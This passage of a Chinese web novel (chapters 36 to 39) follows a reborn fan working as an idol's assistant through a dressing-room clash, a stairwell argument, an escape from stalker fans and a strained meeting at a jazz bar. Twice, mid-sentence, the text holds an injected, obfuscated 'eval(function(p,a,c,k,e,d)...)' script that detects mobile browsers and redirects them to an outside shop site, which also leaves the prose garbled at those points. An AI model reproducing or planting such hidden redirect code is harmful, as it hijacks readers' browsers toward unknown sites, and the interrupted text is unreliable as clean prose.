这时,一个金色短发、看起来二十出头的女生急急忙忙从化妆间里跑了出来,脸上堆起笑容,对成子秋连连道:“成子秋老师,是您呀!抱歉抱歉!这是我们公司的新人,第一次参加节目不太懂规矩~我是他的助理小思,请您多包涵,多多指教!”说完这话,她拼命朝纪屿使眼色。 纪屿的目光这才从林定身上移开,重新投向成子秋。他的神色平静,没有新人常见的讨好,甚至还没有多少恭敬,只是朝成子秋伸出了手,报出了自己的名字。 “纪屿。” 纪屿比成子秋高一些,此时正微微俯视。 成子秋微不可察地勾了勾嘴角。 某种微妙的感觉,悄然在空气中弥漫开。 36.36 楼梯间 成子秋了然地眨了眨眼。原来是他,那个经纪人嘴里有点门路的空降新人。 他瞥了一眼纪屿伸出的手,并没有去握,只是笑了一下。他那笑容依旧是好看的,眼里却没什么笑意,冷冰冰的。 “赛场上再认识吧。”他轻飘飘地落下这句,便不再多言,与纪屿擦肩而过,走进了化妆间。进门后,他回头看了还愣在门口的林定一眼。 林定被这一眼看得终于回过神来,她有些局促地低下头,快步跟了进去。 与纪屿侧身而过的瞬间,她抬了下眼。仅仅一瞬的对视,她看到了纪屿眼中的惊讶和疑惑,还有一些她看不明白的情绪。 她低下头。 不要看他,不要看他。她在心里对自己说,现在自己可是成子秋的助理,要想真正能帮到纪屿,离他远点才是对的。 纪屿站在原地,看着那个他熟悉的女孩,匆匆从自己身边掠过,垂在身侧的手握成了拳。 他很想叫住她问清楚,这到底是怎么回事。 她怎么会和成子秋一起。 可是,他有什么资格问她呢。 他们那日的争执,总在他脑海里挥之不去。 他们之间,也不知道,在她眼里,还算不算是朋友,她选择做什么,去哪里……似乎都不关他的事。 她一定已经讨厌他了,他们闹地这么不愉快。 这思绪让他胸口发闷,呼吸有一些不畅。 这个月他常常心烦意乱。他以为林定只是重生命运给他送来的一个意外插曲,一个过客。可这一个月刻意的疏远,非但没有让他遗忘,反而在他疲惫心累的时刻,她的话语、她的微笑、还有她送给他那唱片的旋律,会不受控地反复浮现。这是为什么……他对自己这份莫名的情感感到不解,甚至有些恼火。 化妆间内,林定故作镇定地走到妆台前,拿出成子秋的保温杯摆放好。成子秋透过镜子沉默地看了她一眼,没说什么。这时,一位扎着高马尾、妆容精致的女化妆师笑着走过来和成子秋打招呼,目光落到林定身上时,疑惑道:“成老师,娟姐今天没来呀?这位是……?” “新助理。”成子秋简单地说,没有打算将自己助理的私事公之于众。 林定对化妆师笑了笑:“你好,叫我小林就行~” 就在这时,身后传来刚刚那个金发助理小思的声音,她语气极其不耐烦,声音不大却刻薄清晰:“纪屿,你早上没喝美式消肿吗?脸这么肿,等会儿上镜能看吗,真是,一点自觉都没有,当练习生都很长时间了啊……” 如此不客气的贬低话语,让林定的眉皱到了一起。她忍不住回头看去,恰好撞进纪屿望向她的眼眸之中。 那眼神陌生地像湖深潭,林定的心咯噔了一下。 紧接着,让所有人都没想到的一幕,发生了。 纪屿朝她走了过来,她还没来得及反应,纪屿一把握住了她的手腕。 “你……”林定错愕地瞪大双眼,手腕处的握力让她停止了呼吸。 这番动静,吸引了化妆间里所有人的目光,当然也包括正被化妆师打理底妆的成子秋。他从镜中看到了这一幕,眉头瞬间就蹙了起来,那张好看的脸冷了下来,平日里刻意维持着的温和氛围感也荡然无存。 纪屿似乎也意识到了自己的冲动,他轻轻松开手,语气恢复了平淡,仿佛刚才的失态并不存在:“你打翻了成老师的咖啡,不用去帮他重新买一杯吗?” 林定脸上的表情可精彩,窘迫、慌乱、委屈都交织在了一起,她紧紧咬着下唇才勉强恢复正常神态。 纪屿却已转向成子秋,姿态有些懒意,话里却藏着锋芒:“成老师,可以麻烦您的助理去给您买咖啡时,顺便也帮我带一杯吗?我的助理……好像忘了。” 他眼风扫过一旁脸色瞬间涨红的小思,意有所指。 成子秋的嘴角微微抽动了一下,觉得眼前这人简直荒谬之至。恰在此时,他的化妆师竟也搭腔道:“是啊小林,给成子秋老师带一杯美式吧,等下拍摄状态会更好呢。” 众目睽睽之下,成子秋盯了一眼依旧直直望着林定的纪屿,压下心头那股莫名的不快,冷淡道:“可以。”随即,他转向脸色苍白的林定,神色不自觉地缓和了些,声音也更轻:“那麻烦你了。” 林定呼了一口气,用力地点点头,不敢再看任何人,转身小跑着冲出了化妆间。 “哎,小林,一楼大门左转就有咖啡店——”化妆师在她身后喊道,但林定的身影已消失在门口。 “我去和她说。”纪屿迈开他那长腿,快步跟了出去,留下一屋子气氛微妙的人。 成子秋望着重新关上的门,眼神若有所思。 * 林定逃似的跑进安全通道的楼梯间,铁门在身后缓缓合上,隔绝了外面的吵闹。 她背靠着墙壁,轻轻喘着气,试图平复心情。 “砰。” 楼道的门被再次推开。 纪屿追了进来,楼梯间的声控灯亮起,昏暗的光线把他的轮廓照地如此不真实,林定的眼神黯了黯。他走到她面前,挡住了去路。 “定定。” 他唤她,声音比在化妆间里软了许多,却带着小心翼翼的疑惑,那双好看的眼睛看着她,里面清晰地映出她的慌张。“你为什么在这里?” “……工作。” 林定偏过头,生硬地回答,强迫自己把视线落在楼梯的金属扶手上。 “我没懂。” 纪屿轻声说,向前迈了一小步,拉近了两个人的距离。他看着她反常频率的眨眼和紧抿的嘴唇,心头那点压着的烦躁几乎要藏不住了。 林定被他逼问得无法正常呼吸,刚才一直假装的镇定就快要绷不住,声音在尽力维持正常:“我说过了……我要找暑期实习。” “这就是你找的实习?” 纪屿像是听到了什么极度荒谬的事情,短促地笑了一声,那笑声里却尽是苦涩。他笑起来的样子本该令人目眩,可此刻林定只有满心难言,她强迫自己将背部挺直了,点点头:“嗯……晚上再聊吧,我得去买咖啡了。” 她现下只想立刻逃离。 她侧身想从他身边绕开往下走,却再次被纪屿一把握住了手臂。 “定定。” 他的语气无奈。 林定挣了挣,却没能挣脱。纪屿见她还想走,只好手下稍稍用了点力,将她轻轻地拉了回来,转身将林定抵在了墙壁与他之间。两人的距离缩短到只剩一拳,空气混合着化妆品香气和林定身上的咖啡味,将二人包围。 “可为什么……” 纪屿低下头,目光紧锁她的眼,声音极低,却每一个字都很清晰,“你要做成子秋的助理?” 纪屿的气息拂过她的脸,林定的理智在那越距的注视下逐渐崩塌。为什么?难道要我说是为了你吗?为了接近你的竞争对手,为了打探消息,为了保护你?这些话她只能放在心里,一个字都不能说出来。难言之隐的委屈让她鼻头一酸,眼也控制不住地湿润了起来。 “没有为什么。” 她闭上眼,轻轻说出这句话,嗓音已经不如刚才稳定。她受不了这样近 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她虽然很难受,但她还是不会对着纪屿大吼大叫。林定知道,纪屿说这些话肯定也是有关心她的一部分原因,但……重生以来,拯救她的星星和自我成长都在她的规划之中,她也从未对自己不负责任,她一直都有好好为自己的未来做打算。 “谢谢你的关心。”她很悲哀地小声补了一句。纪屿不会知道,她是一个经历过职场的人,她不是眼前这个十八岁的学生。纪屿看着林定的反应,看着她有些沮丧又倔强不服输的样子,其他的话就堵在嗓子里,说不出口了。他意识到,自己又用错了方式。 他沉默了几秒,像是妥协了林定的说辞,转而问了另外一个问题,声音轻地楼道里只有林定听得见:“暑假都在这边实习?还还回G市吗?” 他们离得太近了,近到她能看清他衬衫上的纽扣花纹和针线样式,能感受到他不规则的温热呼吸。林定偏着头,点了点头。 两个人都不知道再说什么合适。纪屿的目光掠过她紧抿的唇,又落回她湿润的眼睛里。一个有些幼稚的念头,从他脑子里冒了出来,他张了张嘴,犹豫了一会儿,开口问道: “你现在的,” 纪屿的喉结滚动了一下,声音比刚才还低,“手机壁纸,是成子秋吗?” 问完他就后悔了。这是什么问题?前文不搭后语的。可这话都已经问出口,也收不回来了。 林定听到问题后,感到万分困惑。壁纸?这和现在的情形有什么关系……他难道……还在意之前发现她壁纸是他那件事吗? 一想到这个,那场争执的心痛感又传达至全身。 “我有找过你内推,” 她抬起头,直视他,眼泪很争气的与眼眶和解,没有滴下来。 “是你不答应的。” “我也答应过你,不会去你的公司。” 每一个字,都重重敲在纪屿身上。是啊,是他先将她拒之门外的。 她伸出手推开了他。 纪屿措不及防间被她推得向后踉跄了半步,松开了手。 “你这个月都没有联系我。” 他看着揉着手腕,与自己拉开距离的女孩,缓缓说道。 林定停下揉手腕的动作,没有看他,只是用同样轻的声音,一字一句道: “你也没有联系我。” 说完,她不再停留,快步冲下楼梯,身影消失在昏暗的光线里,也消失在纪屿的视线中。 楼梯间重归寂静,声控灯悄悄地灭了。 纪屿靠在冰冷的墙壁上,脑海里,全是她最后那句轻飘飘却尖锐地刺痛了他的反驳。 是啊,他也没有联系她。 前世没有的、陌生的情感,悄然如清风一般闯进了他的胸腔。 纪屿感觉心里空落落的。 37.37 刺绣草莓和小兔子 林定买完咖啡,眼眶还是有点红。 她慢慢走回,在化妆室门口深吸了几口气,才低着头推门进去。 成子秋已经完成了部分妆发,正在闭目养神。化妆间的门有些老化,推门进来发出了不小的吱呀声响。听到动静,他睁开眼,透过镜子,目光先滑过她微红的眼角,那双眼里闪过少许的探究,但什么也没问。他伸手平静地接过了她递上来的冰美式,触碰到她的指尖冰凉。 纪屿不在化妆间。他的助理接过了林定给的咖啡,连一句谢谢也没说。 * 接下来的拍摄流程,林定进入了尽职尽责模式。 她在娟姐此前交代的范围内,高效地完成所有辅助工作。 林定的一切举止都像个机器人,完美按照手册要求,甚至比手册更细致周到。 这种职场人的镇定,反倒让成子秋感到十分意外,以至于有了更深的好奇。他偶尔会从拍摄间隙看向她,那个女孩工作中从不慌乱,表情稳重的像是上了很多年班的样子。 成子秋觉得,日常的她,和工作中的她,判若两人。早上在门口与那新人的摩擦,以及她跑出去后又回来的那几分脆弱,仿佛都只是他的错觉。 真有意思。 想进一步了解新助理的念头反复浮起。 * 今天到场来拍摄的都是参赛选手,有几位像成子秋一样,已经有了少许名气,但不少人都是刚出道的小糊咖,而纪屿却是唯一一个没有出道的练习生,完全的新人。林定看着这些漂亮帅气的脸,心中涌起无限的感慨。她知道,其中的一些人会在这次比赛中崭露头角,未来是星途璀璨;而另一些人,则会回归默默无闻。 红与不红,真的能改变很多。 成子秋和纪屿的拍摄时间不在一起,所以直到成子秋这边的拍摄工作结束,林定都没有再见到那个会让她心律失常的身影。 收工时,天色已暗。林定刚整理好成子秋的随身物品,就接到了司机大叔的电话,语气抱歉地说家里有紧急的事,实在无法赶来接人。 “小林啊,真对不住,得麻烦你送成子秋老师回去了,一定要安全送到啊,辛苦你了啊!”电话那头声音嘈杂。 林定握着手机,默默叹了口气。她挂断电话,转向正在化妆台前喝水的成子秋:“成老师,司机大叔临时有事来不了,我叫了商务车,我送您回家,车子大概五分钟后到楼下,您看这样可以吗?” 成子秋闻言,拿住杯子的手顿了顿,透过镜子看了她一眼。女孩站得直直的,与他汇报工作的声音很清晰。成子秋之前有听闻其他艺人的实习助理,遇到这种突发状况都会有些凌乱,可她才刚挂断电话没多久,竟然就已经安排好了一切。 好像这种工作上的突发状况,对她来说根本不算什么。 他淡淡地“嗯”了一声。 两人坐进商务车后座,林定预想中的“盘问”并没有发生。这个上司她捉摸不透,到底是钝感力十足呢,还是懒得问呢,还是以后拿出来翻旧账呢…… 成子秋安静地靠在椅背上,帽檐压得很低,口罩将大半张脸都遮住了,只露出了双望着窗外灯火的眼睛。 车厢内一片寂静,林定也不敢开口说话。 就在林定以为会一直沉默到目的地时,成子秋忽然开口,因为戴着口罩,声音显得有些闷闷的:“你有打算这两个月把驾照考了吗?” 林定一愣,随即反应过来,这大概是指今天司机缺席的尴尬吧……也许他不喜欢坐这种网约车。她立刻回答道:“我已经报名了,也有约考,我保证,一个月内一定拿到驾照。” 这不是她的迷之自信,她有这份信心是因为她前世有着近八年的驾龄,虽然现在这身体还是刚成年的学生,但驾驶是一种刻进DNA里的能力技术,交通规则也早就熟记于心。 这助理真……有自信。执行力也是真可以。成子秋转过头,帽檐下的眼睛认真地看了她几秒。他淡淡道:“加油。”然后就重新看向窗外,没再说话。 车子停在了离成子秋住处附近的一个大型商场的侧门。林定知道,艺人对住址隐私极为敏感,她既然叫了网约车,就还是要小心一些为好,直接开到他家楼下有些不妥。 两人刚下车,还没走出几步路,林定就察觉到异常。她感觉背后似乎有人在盯着他们,还听到了快速接近的脚步声。她微微地侧身,用余光飞快一瞥,果然。 四五个举着手机的年轻人,正从停车场方向小跑过来。 这才刚下车……私生真是该死的。 她心里还没骂完,就听到身旁成子秋的呼吸开始有些急促,他的步子也出现了紊乱的迹象。那种绷紧的躯体,虽然被他迅速地克制,但林定还是感受到了。 林定本就对这类行为深恶痛绝。 “这边。”她当机立断,一把抓住成子秋的手腕,力道不大,牵引着他转身就朝商场里跑去。商场里灯火通明,人流巨大,是脱身的好方向。 成子秋被她拉得一怔,手腕上传来女孩温热的触感。商场嘈杂的人声瞬间涌来。恍惚间,眼前的场景与前段时间那个昏暗的超市收货区重叠。同样是被私生追逐跟踪的窘迫,同样是这个女孩,毫不犹豫地挡在了他的身前。 林定的大脑在飞速运转,她一边拖着成子秋在人群中快速穿梭,一边迅速拉开自己背着的托特包,从里面扯出一件轻薄的深色防晒衣和一顶粉红色的可爱风格棒球帽。 “成老师,穿上,戴上吧。”她语速很快,但还是保持着礼貌,将衣服和帽子塞进成子秋手里。 成子秋接过衣物,指腹触碰到衣物柔软的布料,心里那条紧绷的神经,神奇地松了一下。他想起终面时,她回答关于应急包的那个问题。应急……她还真准备了给他应急的东西。 他的目光停留在那顶粉色帽子上,上面的刺绣草莓和小兔子让他感到心头一软。 他快速套上那外套,拉高领口,戴上帽子,瞬间他的轮廓和气质就变得和原来有出入了。林定侧目,看到她那顶可爱风的帽子在成子秋的脑袋上,这违和感让她差点笑出声——这放到前世,必定是成子秋的黑历史,而她一定是转发嘲笑的那一个。 她心里哼哼两声。 真是够玄幻的,谁能想到,竟有一日她会带着纪屿的对家躲私生。 林定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16934354|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放慢了半步脚步,帮他稍微调整了一下帽檐角度,让阴影更好地遮盖眉眼,同时用自己的身体若有若无地隔开可能投来的视线。 “走这边吧,安全通道。”她的目光快速扫过商场指示牌,拉着他拐进了一条通道。他们没有奔跑,只是快步走,就像两正在赶时间的路人。 直到从商场的另一个出口走出来,他们重新融入夜色下的街道,身后再无任何可疑的跟踪迹象,林定才放缓了脚步,轻轻松开了手。 又走过一个路口,周围环境安静下来,显然已经安全。可林定不知是还没消灭警惕心,还是心有余悸,又拉着成子秋的手臂,领着他快步疾走。 成子秋什么都没说,就这样被她带着,目光落在她抓着自己袖口的手指上。晚风吻过她因为疾走而渗出细汗的额角,几缕碎发贴在皮肤上。 路灯的光,在她脸上明明灭灭。 月光,好似也很柔和。 他的嘴角轻拂。 “好了,安全了。”直到站在他小区门口保安亭旁,林定才彻底松开了手,喘了口气。 “谢谢你。”成子秋的声音,在夜风里有些恍惚。 那句道谢比平日里多了几分真诚。 “你经常被私生追吗?”林定忍不住问道,眉头皱起来,脸上是毫不掩饰的愤怒,“这些人真是……太讨厌了!私生到底是谁在当啊,一点边界感都没有,干扰偶像的正常生活,还自以为这是爱吗……真是无语死了。”她越说越气,在替所有受过困扰的艺人打抱不平。 成子秋看着她气冲冲碎碎念的样子,他眼睛里又溢出笑意。 就在这时,林定包里的手机,清脆地响了声提示音,在安静的夜色中格外响亮。 “叮咚。” 她拿出手机,屏幕亮起的光,映在她的脸上。 当看清名字和那条信息的瞬间,她的脸色肉眼可见地变了,刚才所有的生动瞬间冻结。 “怎么了?”成子秋捕捉到了她情绪的变化,问道。 “没什么。”林定按熄屏幕,像被烫到一样把手机塞回包里,动作慌乱。她迅速抬起头,脸上已经重新挂上了白天那副标准的助理表情,语气也变得疏离了起来:“成老师,您还有别的吩咐吗?如果没有的话,我先下班啦?” 成子秋看着她这明显有事的慌张和急于离开的态度,到嘴边的话就咽了下去。 他点了点头,声音恢复了往常的平淡:“嗯,路上小心。” 他摘下头上的粉红色帽子,轻轻戴在林定的头上。“这个帽子还是比较适合你。” “……”林定尴尬地笑了笑,扶了扶帽檐。 “那,老师再见。”她转身,脚步匆忙地朝着地铁站的方向走去。 成子秋站在原地,夜风吹动他身上的防晒衣,带着陌生又温暖的气息。 * 而另一边,快步疾走的林定,终于停下。她再次拿出手机,手指颤抖着点开微信。 那个没有信息的对话框,此刻终于有了内容。 【定定,你有时间吗?】 她盯着那行字,反复看了好几遍,心脏又失控地狂跳起来。 38.38 对不起,你别生气 林定站在B市那家小有名气的爵士乐酒吧门口。 悠扬的萨克斯与贝斯声隔着木门流淌出来,夹杂着皮鞋与木地板摩擦出的轻快节奏,空气里浸满了复古的浪漫与肆意的愉悦。 她轻轻推门而入。 室内光线昏暗得很暧昧,舞台上的不知名爵士乐队正在沉浸演奏,台下散落的桌椅旁,不少褪去白日上班疲惫的年轻人正随着音乐即兴起舞。林定依稀认出有人在跳活泼的查尔斯顿,有人在跳欢快的踢踏舞步……每个来店的人好像都呼应着爵士之夜的主题,穿着复古的裙装以及剪裁得体的西装。 而她,一身简单的T恤运动裤,与这里格格不入。 服务生迎上来询问,她点点头,目光在光影中搜寻。很快,她便把目光落到一个卡座上。 那里坐着两个戴着口罩,却难掩星光的男人。 她穿过舞动的人群走近,顾蓝爽朗的声音先一步响起:“哟,小姑娘!你可算来了,好久不见啊!”他摘下口罩,露出阳光的俊美笑脸。 林定的瞥了一眼顾蓝旁边那个始终望着舞台方向,没有理会她的身影,对顾蓝礼貌地欠了欠身:“顾蓝哥,好久不见。恭喜你成功出道呀。” “嘿嘿,谢谢啦!”顾蓝不好意思地挠挠头,“听纪屿说你也来B市了,正好我这两天放假,想着这家酒吧的爵士乐和摇摆舞体验课可棒,就叫你们一起来放松放松!” 服务生过来问林定喝什么,顾蓝刚想替她点杯酒,就被一旁一直不出声的纪屿打断了:“给她一杯秀兰邓波。” 顾蓝听闻,无语道:“无酒精的有什么好喝的啊。” 林定愣了一下,抿了抿唇,没有说话。 寒暄在这微妙的氛围中开始。纪屿没有主动和她打招呼,林定也垂着眼,不知该如何开口。 反倒是顾蓝,兴致勃勃地问起林定来B市的缘由,得知她现在是成子秋的助理时,他的反应与白天纪屿的反应截然不同。 “成子秋啊?那很不错了,他现在也小有名气,欣喜娱乐可捧他咯。你能做他的实习助理,说明人家公司很看重你的能力呀。他形象好,公司也舍得推,他接的都是大通告吧,跟着他有前途,能学到东西!”顾蓝语气很真诚,给出的是同行视角下的客观评价。 他乐呵呵地补充道:“他也在那综艺,纪屿也在那个节目,那多好,你们俩在里头也算是有熟人了,互相还能照应下的。” “成子秋是对手。”纪屿把目光从舞台上收回,隔着口罩,声音闷闷的,“照应什么?” 红线问题被抛出,这下顾蓝也说不出话来。 林定轻轻道:“是,你说得对。” 她的手指摸着冰凉的玻璃杯壁。 顾蓝也是钝感力十足,他又聊起自己成团后,之后都在B市总公司这边发展了,以后可以常聚。林定笑着应好,加上了顾蓝的微信。心里悄悄松了一口气,原来纪屿大晚上给她发消息,是因为顾蓝想组局。 她还以为……他有什么话,要单独对她说。 这时,酒吧主理人上台笑说,接下来的环节是摇摆舞0基础体验课。顾蓝重新戴上口罩,眼睛里发光,跃跃欲试,已经站起来往人群中走去。 三位摇摆舞老师走到酒吧中央进行示范,热情地邀请大家组队加入。一位女老师绕过重重桌椅,走向他们的卡座,笑容明媚地朝纪屿伸出手:“这位帅哥,一起来试试吗?很简单的,我带你呀!” 那只涂着红色指甲油的手就要碰到纪屿的手腕。 林定呼吸一滞,一种不适与莫名的情绪冲上了她的心里,让她想立刻移开视线。 纪屿微微侧身避开了触碰,语气平淡又礼貌:“谢谢,不用了。” 女老师有些遗憾地转向热情响应的顾蓝,两人结伴开始了舞蹈。欢快的爵士乐再次响起,卡座上只剩下林定和纪屿两个人。人群的欢笑和伴奏爵士乐像一道无形的屏障,将他们与其他人隔开。 “你不去跳吗?”纪屿忽然开口,打破了令人窒息的沉默。林定尴尬地笑笑,指了指身上的穿着:“太不合适了,下次一定。” 纪屿轻轻勾了勾嘴角。 “这首曲子……”他的目光落在舞台上,“这张碟,我以前在邮件里跟你推荐过。你还记得吗?” 林定点点头,拿起酒杯轻轻抿了一口:“我记得的。” 她怎么会不记得?他分享过的每一段旋律,每一句乐评感受,都曾是她珍视的星光,早就烙在心中,不会忘记。 纪屿似乎也想起了那些隔着屏幕,却仿佛能听见彼此声音的夜晚,也想起了唱片店里的那些相遇和默契。 那些同频的时光恍如昨日,可如今他们之间的,竟有一道看不见的隔阂了。 而造成这一切的,是他。 他深吸一口气,决定不再纠结惹人烦厌。 “今天的工作,还顺利吗?”他问,声音很轻,林定差些听不清楚,她下意识地向前坐了一点。 林定避开他的视线,盯着杯中的液体:“还好。” “之前是我不对。”纪屿的声音高了一些,带着很清晰的歉意,“我不该那样主观地否定你的选择。对不起。” “你不用说抱歉。”林定很快地回应,她继续低头看着她的杯子。 “但我还是想和你说,这个圈子,水比你想象的要深很多。你刚接触,很多东西表面是一套,内里是另一套。”纪屿的语气很温和,甚至有一点小心翼翼,“以后如果遇到不懂的,或者拿不定主意的事,可以随时问我。我……多少比你多了解一点点。” 他停顿了一下,目光专注地落在她低下的脸上,声音比之前沉了一点:“如果成子秋那边对你有什么过分的言辞,过分的动作,或者他们公司让你受了什么委屈,你都可以告诉我。” 他看着她,一字一句,郑重地说:“我来给你解决。” 林定猛地抬起眼,正与他目光碰撞到一起。 她愣愣地看着他。 他这是……接受她做明星助理的事实了?甚至……说要给她解决? 解决这个词,像是在保护自己人似的。 可是…… 他是什么立场,他和成子秋甚至是竞争对手,他自己正是上升期,才是那个需要拼搏的娱乐圈新人,哪来的底气和能力说替她解决麻烦?明明应该是她要默默守护他、为他扫清障碍才对,怎么一切都反了? 这不对…… 混乱的思绪让她一时失语。 “纪屿,”过了一会,她才找回自己的声线,带着难过,“你没有义务替我解决任何事。” 强大的粉丝道德感又及时降临在她头上,在此刻无情地给她泼冷水,将她心中那点因他的话而升起的隐秘情感浇灭了。 你管得太多了。我是什么身份,凭什么要你为我操心? “这是我的工作。这种话……请你以后不要再说了。”林定松开了捏紧酒杯的手,她差一点就要将它捏碎了,“我们其实……并没有那么熟,你的关心有点过度了。” “不熟?” 纪屿重复了一遍,这两个字。 他的声音轻如羽毛。 他看着她,眼神里有什么东西正黯淡下去,像是第一次清晰地意识到,她给他们之间划下了一条生硬的分界线。 爵士乐此刻正演奏到最欢快热烈的段落,铜管乐器传递给大家最浪漫的声音,舞池里的人们笑容非常,舞步翩翩。 林定的手脚冰凉,身体因自己终于成功出口的话而微微颤抖,但她仍强迫自己继续,把那些纠结已久,让她备受煎熬的话都说出来。 “另外,”她喝了一大口饮料,冰凉的液体却无法让她的冷静下来,她始终不敢与他四目相对,“纪屿……我也想提醒你。你是明星,是上升期的艺人,也是很多人的偶像。” 那个舞蹈老师伸手的画面在她的脑海里闪现,让她呼吸紊乱,“你要记得与无关人士……和粉丝,都保持距离。不要有肢体接触,会被狗仔和别人拍的,影响不好。” 她拿起杯子,自顾自地和纪屿那没有动过的酒轻轻碰杯,玻璃杯碰撞在一起的声音清脆又令人心碎。 “你的未来星途璀璨。你一定会成为顶流,会是那闪闪发光的星星。不要因为这些……阻挡了你的事业。” 她深吸一口气,终于把话语指向他们此刻面对面的环境:“还有呢……像这样,私下联系、见面什么的……都很不好。都很不对。要保持距离的。你应该更谨慎的。” 纪屿忽然笑了,眼睛亮亮的。 林定以前最喜欢看偶像这样笑了。 “可你不是无关人士,定定。” 他直视着她,与她的目光交集,好像看穿了她伪装起来的平静,“你也不是我的粉丝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16947503|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 我是你的粉丝,我怎么不是呢。 林定心里这般喃喃着,可却因为嘴上说不出反驳的话而难过极了。 她的嘴唇只是微张,又合上。 明明前世的她总会引以为傲的告诉每一个人,自己的偶像是纪屿。可现下的她,怎么就不敢在偶像面前承认呢。 是因为太近了吗? 他们不该是这样的关系的,对吧。 她只是不想让他操一些无谓的心,好好搞事业,对吧。 所有声音都被她藏在心底里。眼睛有点酸,她别过头,不再看那双她最喜欢的眼睛。 她沉默了半天,憋出这样一句话:“别再这样说了。” 她拿起酒杯,把剩下的饮料给喝尽了,冷饮喝下去一点感觉也没有。她向后挪了挪座,逼自己脊背挺直,在纪屿看来,她是又在与他划界。 难堪的静默,在欢快的爵士乐中无声蔓延。几秒后,林定吸了吸鼻子,强行将话题拽向她最在意的点子上,也就是他的事业。 “我也不说这些了。” 她的声音干干的,“我今天来,也是想和你说,《S+演唱荟》这个综艺真的很重要,它国民度很高。你一定要全心准备,千万不要为无关的事……和人,分心。” 也包括我。她自己在心里苦涩地补充了一句。 纪屿没有回应,仍是静静看着她。林定顿了顿,虽然她很相信自己偶像有夺冠的实力,但是她想起前世的综艺冠军属于他人……也不知道这一世综艺赛果能不能被实力改写,于是她轻声道:“还有……成子秋他,他很强。他很有夺冠的信心。你要,更努力一些。” “努力?” 纪屿重重地重复着这个词,一股受伤的感觉涌上了心头。 她是觉得成子秋比他更强,更被她看好吗?他们才认识多久?她了解成子秋的曲风和水准吗?明明……林定先认识的是他。 明明。 “你觉得他很强?”纪屿苦笑。 “挺强的吧。”林定老实作答。毕竟前世是他的竞争对手,她可是和他们家粉丝吵架过好多回,号都炸了几个…… “你意思是,觉得我会输给他?”他再次逼问。 林定一噎,她当然不希望啊,可成子秋是上一世的综艺冠军…… “我没这么说……” “但你是这样想的。”纪屿好轻的叹一口气,嘴角微微动了动,眼睛里的光又暗了些。他眨了眨眼,试图把情绪藏起来,下一秒就把他的防晒衣递给她,“穿上吧,他们跳舞很热,店员把这里空调调的很冷。” 林定知道他生气了。 曾经一些个综艺里,里面他被各种针对戏耍,每个人以为他要爆发了,可最终他只是这样一个表情。 从那之后,粉丝们都知道了,纪屿真正生气的样子。 这回她亲眼看到了。 他总是这样,生着气还保持风度,还给她递衣服。林定接过,咬了咬嘴唇,缓缓道:“我不是这样想的,你别生气。” 纪屿眼底闪过一瞬惊讶,随即语气又温和了起来,他慢慢道:“我没生气。” “那最好。”林定小声道。 爵士乐队又演奏到一首他们曾经一起听过的曲子。 林定深吸一口气,“我要回去了,明天还要上班呢。我刚刚说的那些,你都会答应我吧?” 答应,指的是她前面铺垫了那么多距离和不熟,划清界限,这些吗? 他忽然觉得,这音乐听的好难受,明明是欢愉的曲子,可为什么他听着这么伤感呢。 “嗯。”他只说了一个字,声音有些沙哑,他拿起来了他的酒杯,把所有的情绪连着酒一饮而尽。 “谢谢你的提醒。”他抬起眼,目光渐渐恢复了平静,但语气是冰冷的,“关于距离,关于对手,我都会记住的。” “好……那,”林定站了起来,拿起她的包,她没有再看纪屿,目光滑向舞池那边,“晚安,我回家了。我住的很近,你等顾蓝跳完舞再走吧,我先回了,不用送我……” “我没有打算送你。”纪屿也不再望她,他闭上眼,想让自己沉浸在乐曲里,“你说的,保持距离,我记住了。” 爵士乐仍在演奏着欢乐的乐章,木地板和舞鞋摩擦的声音与节奏万分合拍,但某些东西,就在这乐声里,无声地碎裂了。 39.39 牵线人偶 林定要坐一个小时的地铁,才能回到和晓春合租的房子里。 但此时,早就过了地铁末班车的时间了。 刚才在酒吧里,她还说“家就在附近”这样小丑一般的谎言。 网约车的页面一直是繁忙的接单中,她走到街边试图拦出租车,拦了好一会儿才成功坐上车。司机开车后,她那强撑的力气终于散去了。 她本想将今日的难过都溶解在耳机里,可随机播放的每日推荐歌单,却总是推给她那些纪屿曾分享过,或是他们共同听过的歌曲。每一首歌,都在提醒她,让她正视心情,让她回忆一切。 她有些烦躁地划拉着播放列表,却始终没有办法翻到她想听的音乐。 上一世,他的歌曲,无数次地缝补她破碎的心情。 距离纪屿发布自己的歌,应该不远了吧。 她恍惚地想。 * 回到家,今天努力维持的镇定再也维持不住了,低落的情绪挂在脸上,挥之不去。 正在沙发上刷手机的邓晓春,一眼就看出来林定肯定有事,于是她立刻丢开手机,跑过来玄关这里:“咋了我的宝,脸色这么差?” “没事,就是有点累。”林定扶着门脱鞋,疲态尽显,差些就没站稳。晓春眼疾手快地扶她,皱了皱眉,思考了一瞬,打抱不平道:“是不是那成子秋骂你了?明星真是不好伺候的!!看我这就上网给他骂两句……” “没有没有,”林定忙摆摆手,她坐到沙发上,揉了揉有点酸的腿,才想起今天还拉着成子秋跑了好几个八百米……“他没骂我。” “没骂你,他也够离谱,你早上这么早出门,还让你加班到这么晚!!”晓春咬牙切齿地叉腰,“万恶的实习!万恶的资本家!看来这俩破娱乐公司都不是好东西,纯纯压榨我们廉价实习生!!” 林定向沙发里躺去,抱起一个沙发靠枕,声音有些虚弱:“也不是加班吧。我刚刚下班后,还去见顾蓝和纪屿了……” 